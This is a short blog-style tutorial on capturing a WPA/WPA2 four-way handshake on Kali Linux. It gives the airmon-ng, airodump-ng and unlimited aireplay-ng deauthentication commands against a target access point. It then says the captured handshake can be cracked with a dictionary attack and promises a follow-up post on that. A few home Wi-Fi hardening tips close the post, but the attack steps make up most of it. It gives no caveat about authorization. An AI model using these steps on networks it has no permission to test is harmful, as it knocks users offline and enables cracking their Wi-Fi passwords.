What is 4 way handshake?
A four-way handshake is a type of network protocol established by IEEE-802.11i. The four-way handshake provides a secure authentication for data delivered through network .
Below is a diagram that you can understand how it works?
In this tutorial we will learn that how to capture a 4 way handshake with aireplay.
so lets start: start up kali,
1. Put your wireless adaptor in monitor mode.
“airmon-ng start yourwlanname”
to check your wlan name try
“ifconfig” 2. Find all available network and channel.
3. Create a capture file for a specific network and channel.
“airodump-ng wlan1mon -w anyname -c chanel”
after this you will see a file like this,
4. Now send deauth packets and capture handsheck.
“aireplay-ng –deauth 0 -a BSSID wlan1mon”
if you followed all step correctly then you will see wpa handsheks in top right corner like this,
now you have wpa handshake, you can brute force them with dictionary.
protect your own wifi:
it is always more secure to use longer passwords. disable wps.
use alpha numeric password with signs.
only permit to known mac address by using mac filter.
log in regularly in router admin panel.
♥♥♥ End ♥♥♥
video tutorials is here
in next post i will share how to brute force captured handshake.
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